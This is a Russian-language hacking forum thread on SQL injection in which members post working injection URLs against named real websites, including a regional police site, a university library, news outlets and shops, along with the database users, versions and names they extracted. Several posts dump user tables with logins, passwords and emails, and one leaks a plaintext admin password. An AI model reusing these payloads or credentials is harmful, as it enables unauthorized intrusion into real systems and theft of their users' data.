SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    198
    Likes Received:
    161
    Reputations:
    108
    insanely-great.com PR-5
    Code:
    www.insanely-great.com/news.php?id=-11189+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18+--+
    Code:
    5.0.77-log:flamini_flaminio@216.14.208.109:flamini_igm
    innovid.com PR-5
    Code:
    http://www.innovid.com/news.php?itemID=52+and+5=substring((SELECT+version()),1,1)+--+
    library.uni-altai.ru ТИЦ-180
    Code:
    library.uni-altai.ru/FullNews/shownew.php?num=-1253+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11+--+
    Code:
    5.1.49-3-log:serg@localhost:libnews
     
    4 people like this.
  2. Ksi[O]n

    Ksi[O]n Banned

    Joined:
    6 Oct 2011
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.nov-mvd.ru/GUVDpoNSO/Statistika?blogs2_id=552+limit+0+union+select+1,2,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,4,5,6
    Web Server: Apache/2.0.63-lk.d (Unix) mod_ssl/2.0.63-lk.d OpenSSL/0.9.8g mod_dp20/0.99.2 mod_python/3.3.1 Python/2.5.1 mod_ruby/1.2.6 Ruby/1.8.6(2007-09-24)

    DB Server: MySQL
    Current DB: notixshoru_mvd
     
  3. Sidarovich1975

    Joined:
    4 Oct 2009
    Messages:
    60
    Likes Received:
    16
    Reputations:
    7
    Code:
    http://www.zebra.nsk.ru/index.php?page=lotinfo&id=-9277+union+select+1,2,concat_ws(0x3a3a3a,user(),version(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+--+
    zebransk_base@localhost:::5.1.50-rel11.4-log:::zebra777_base
     
    #14223 Sidarovich1975, 11 Oct 2011
    Last edited: 23 Oct 2011
  4. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тиЦ 800 PR 5
    vns@localhost:5.1.53-log:www

    тиЦ 160 PR 4
    printmag@localhost:wwwprintmagazinr:4.1.25-log

    тиЦ 30 PR 3
    200148610@localhost:4.1.25-log:db00148610

    тиЦ 30 PR 3
    u25499@10.8.0.155:5.0.90-log:u25499
     
    #14224 aydin-ka, 11 Oct 2011
    Last edited: 11 Oct 2011
    1 person likes this.
  5. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    390
    Likes Received:
    48
    Reputations:
    11
    не знаю куда постить админки и запостил тут!
    Code:
    http://www.konkir.ru/
    модеры если у меня глаза не видят то сорри,перенесите туда где должно быть!
    root:market2004
     
    #14225 Faaax, 11 Oct 2011
    Last edited: 11 Oct 2011
  6. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тиЦ 1000 PR 4
    maxybaby_root@localhost:maxybaby_maximka:5.0.51a-24+lenny5 "4"
     
    1 person likes this.
  7. Moriarty

    Moriarty Member

    Joined:
    9 Feb 2011
    Messages:
    16
    Likes Received:
    78
    Reputations:
    74
    Равнодушным к РУ-АвтоПрому посвящается...
    www.la[g]da.ru
    PR/TYC = 6/1700
    DB: Oracle

    Базы
    Code:
    http://www.la[g]da.ru/carco[g]lors.php?ba[g]se_id=6295171 AND ASCII(SUBSTR((SELECT NVL(CAST(COUNT(DISTINCT(OWNER)) AS VARC[g]HAR(4000)),CHR(32)) FROM SYS.ALL_TABLES),1,1)) > 51
    
    Таблицы
    Code:
    http://www.la[g]da.ru/ca[g]rcolors.php?ba[g]se_id=6295171 AND ASCII(SUBS[g]TR((SELECT NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FRO[g]M (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER=CHR(68)||CHR(83)||CHR(79)) WHERE LIMIT=4),6,1)) = 68
    
    Колонки
    Code:
    http://www.la[g]da.ru/carco[g]lors.php?ba[g]se_id=6295171 AND ASCII(SUBSTR((SEL[g]ECT NVL(CAST(COUNT(COLUMN_NAME) AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=CHR(68)||CHR(90)||CHR(79)||CHR(95)||CHR(85)||CHR(83)||CHR(69)||CHR(82)),1,1)) > 48
    
    PHP:
    databases [9]:
     
    CTXSYS
     DSO 
    <-- default
     
    DSO1
     DSOTMP
     EXFSYS
     MDSYS
     OUTLN
     SYS
     SYSTEM
    :D
     
    4 people like this.
  8. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    198
    Likes Received:
    161
    Reputations:
    108
    willkommen-tv.at PR-5
    Code:
    http://www.willkommen-tv.at/artikel.php?id=8+and+1=2+union+select+1,2,3,4,5,concat_ws(0x3a,version(),user(),database()),7,8,9+--+
    Code:
    4.0.27inode:wi000142_0001@nat.ubh.inode.at:wi000142_0001
    netporn.nl alexa-34k
    Code:
    http://www.netporn.nl/uprofile.php?UID=70796+and+5=substring((SELECT+version()),1,1)
    surfbirds.com PR-5
    Code:
    http://surfbirds.com/video2/uprofile.php?UID=1045+UnIon+selECt+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+--+
    Code:
    5.0.83-rs-log:surfbirds_vshare@localhost:surfbirds_videoshare
     
    4 people like this.
  9. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,781
    Likes Received:
    854
    Reputations:
    857

    Сорри за небольшой флуд, НО...

    Уважаемый, на каких предположениях Вы говорите, что там есть вышесцитированная таблица, если вам режет все запросы хостер ? Пальцем в небо ??

    В случае, когда хостер блокирует запросы, нам ничего не мешает применять метод слепой инъекции и орудовать полученными данными.

    Нет там никакой таблички phpbb_users, зато есть forum_users

    Даже скажу больше - в табличке forum_users аж 10690 записей.

    Судите сами
    PHP:
    http://www.ma3da.ru/news.php?news_id=999999.9+or+ascii(substring((SELECT+count(*)+FROM+ma3daru.forum_users),1,1))=49

    http://www.ma3da.ru/news.php?news_id=999999.9+or+ascii(substring((SELECT+count(*)+FROM+ma3daru.forum_users),2,1))=48

    http://www.ma3da.ru/news.php?news_id=99999+or+ascii(substring((SELECT+count(*)+FROM+ma3daru.forum_users),3,1))=54

    http://www.ma3da.ru/news.php?news_id=99999+or+ascii(substring((SELECT+count(*)+FROM+ma3daru.forum_users),4,1))=57

    http://www.ma3da.ru/news.php?news_id=99999+or+ascii(substring((SELECT+count(*)+FROM+ma3daru.forum_users),5,1))=48
     
    _________________________
    1 person likes this.
  10. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тиЦ 650 PR 5

    Code:
    http://zvezda.ru/news_read.php?id=-9999999/**/union/**/select/**/concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6,7,8,9+--+
    antares_user@localhost:antares_DB:5.0.92-community

    Code:
    http://zvezda.ru/news_read.php?id=-9999999/**/union/**/select/**/group_concat%28table_name%29,2,3,4,5,6,7,8,9/**/from/**/information_schema.tables+--+
     
    1 person likes this.
  11. vaddd

    vaddd Member

    Joined:
    6 Jan 2009
    Messages:
    154
    Likes Received:
    18
    Reputations:
    9
    Единая Россия. Тамбов.
     
  12. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тиЦ 80 PR 6
    Code:
    http://sundaytimes.lk/financenews/articleXYZ100000010.php?id=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6,7,8--+
    suntimes_sunday@localhost:suntimes_suntimes:5.0.92-community
    Code:
    http://sundaytimes.lk/financenews/articleXYZ100000010.php?id=-1+union+select+group_concat%28table_name%29,2,3,4,5,6,7,8+from+information_schema.tables--
    тиЦ 10 PR 5
    Code:
    http://www.financierworldwide.com/gp.php?id=99999999+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7--+
    financierworld@localhost:financierworld:4.1.20-community-nt
     
    #14232 aydin-ka, 15 Oct 2011
    Last edited: 15 Oct 2011
    2 people like this.
  13. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    ПРосто хостер

    https://www.host.co.in/hostbill/shoppingcart.php?gid=-5%27+union+select+1,2,3,user%28%29,version%28%29,6,7,8,9,database%28%29,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,61,62,63,64,65,66--+
     
    2 people like this.
  14. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    980
    Likes Received:
    525
    Reputations:
    173
    увеличил на 4 символа (глюк форума)
     
    #14234 OxoTnik, 15 Oct 2011
    Last edited: 15 Oct 2011
  15. aydin-ka

    aydin-ka Elder - Старейшина

    Joined:
    3 May 2009
    Messages:
    316
    Likes Received:
    98
    Reputations:
    29
    тиЦ 10 PR 3
    Code:
    http://www.allpartners.ru/shops.php?id=99999999+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6,7--+
    ronis@localhost:wwwpultlggru:5.1.25-rc-log
    Code:
    http://www.allpartners.ru/shops.php?id=99999999+union+select+group_concat%28table_name%29,2,3,4,5,6,7+from+information_schema.tables--
    тиЦ 10 PR 6
    Code:
    http://www.pierce.ctc.[COLOR=Red][B]edu[/B][/COLOR]/pubs/thepen/print.php?id=99999999+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3--+
    newsletter@localhost:newsletter:5.1.36-community
    Code:
    http://www.pierce.ctc.edu/pubs/thepen/print.php?id=-99999999+union+select+group_concat%28table_name%29,2,3+from+information_schema.tables--
     
    #14235 aydin-ka, 16 Oct 2011
    Last edited: 16 Oct 2011
  16. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    980
    Likes Received:
    525
    Reputations:
    173
    4 символа

    ещё 1

     
    #14236 OxoTnik, 16 Oct 2011
    Last edited: 16 Oct 2011
  17. tght

    tght Member

    Joined:
    24 Jun 2010
    Messages:
    156
    Likes Received:
    10
    Reputations:
    0
    5.1.49-rel11.3-log
    vibirai@localhost

    DB: vibirai_lux
     
    3 people like this.
  18. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    980
    Likes Received:
    525
    Reputations:
    173
    Выбераите что интересно вам
    Code:
    http://www.handspc.ru/soft/soft.php?id=183/**/union/**/select/**/1,version%28%29,3,4,5,6,7%20,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/information_schema.tables/**/--/**/
    ЮЗЕРЫ
    Code:
    http://www.handspc.ru/soft/soft.php?id=183/**/union/**/select/**/1,version%28%29,3,user%28%29,5,6,7,8,9,10,11,12,13,14,concat_ws%280x3a,id,login,password%29,16,17,18,19,20,21,22,23,24,25,26,27/**/from/**/auth_tld/**/--/**/

    Вот ещё 1, только тут думать надо, мне лень
    Code:
    http://job.saleone.ru/findrezum.php?a=2&id_rezum=705+order+by+18
    И ещё 1, всё как надо.
    Code:
    http://efamily.ru/index.phtml?aid=-733+union+select+1,user%28%29,version%28%29,4,concat_ws%280x3a,ID,user_login,user_pass,user_email%29,6,7,8,9,9+from+wp_users+--+&id=101&page=40003
    

    и ещё

    Code:
    http://www.europa.fm/ru/index.html?c=about&id=-1+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables+limit%200,1--
    (Ночка без шелов... стыдно...)
     
    #14238 OxoTnik, 18 Oct 2011
    Last edited: 19 Oct 2011
    1 person likes this.
  19. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,781
    Likes Received:
    854
    Reputations:
    857
    OxoTnik, ИМХО зря по РУ работаешь =/
    Но это твоё дело...

    Итак, Geodata = Google Maps по Американски

    PHP:
    http://geodata.us/uk_maps/map.php?id=999999'+union+select+null,null,user(),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+and+'a'='a
    Code:
    Current User: 	relgr_geodata@localhost
    Sql Version: 	5.0.77
    Current DB: 	relgr_geodata
    Data Bases: 	information_schema
    		relgr_geodata
     
    _________________________
    1 person likes this.
  20. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,781
    Likes Received:
    854
    Reputations:
    857
    Ленивый =)
    Code:
    Current User: 	mt_jobpages@localhost
    Sql Version: 	5.0.90-log
    Current DB: 	mt_jobpages
    Тут Blind SQL.
     
    _________________________
Loading...
Thread Status:
Not open for further replies.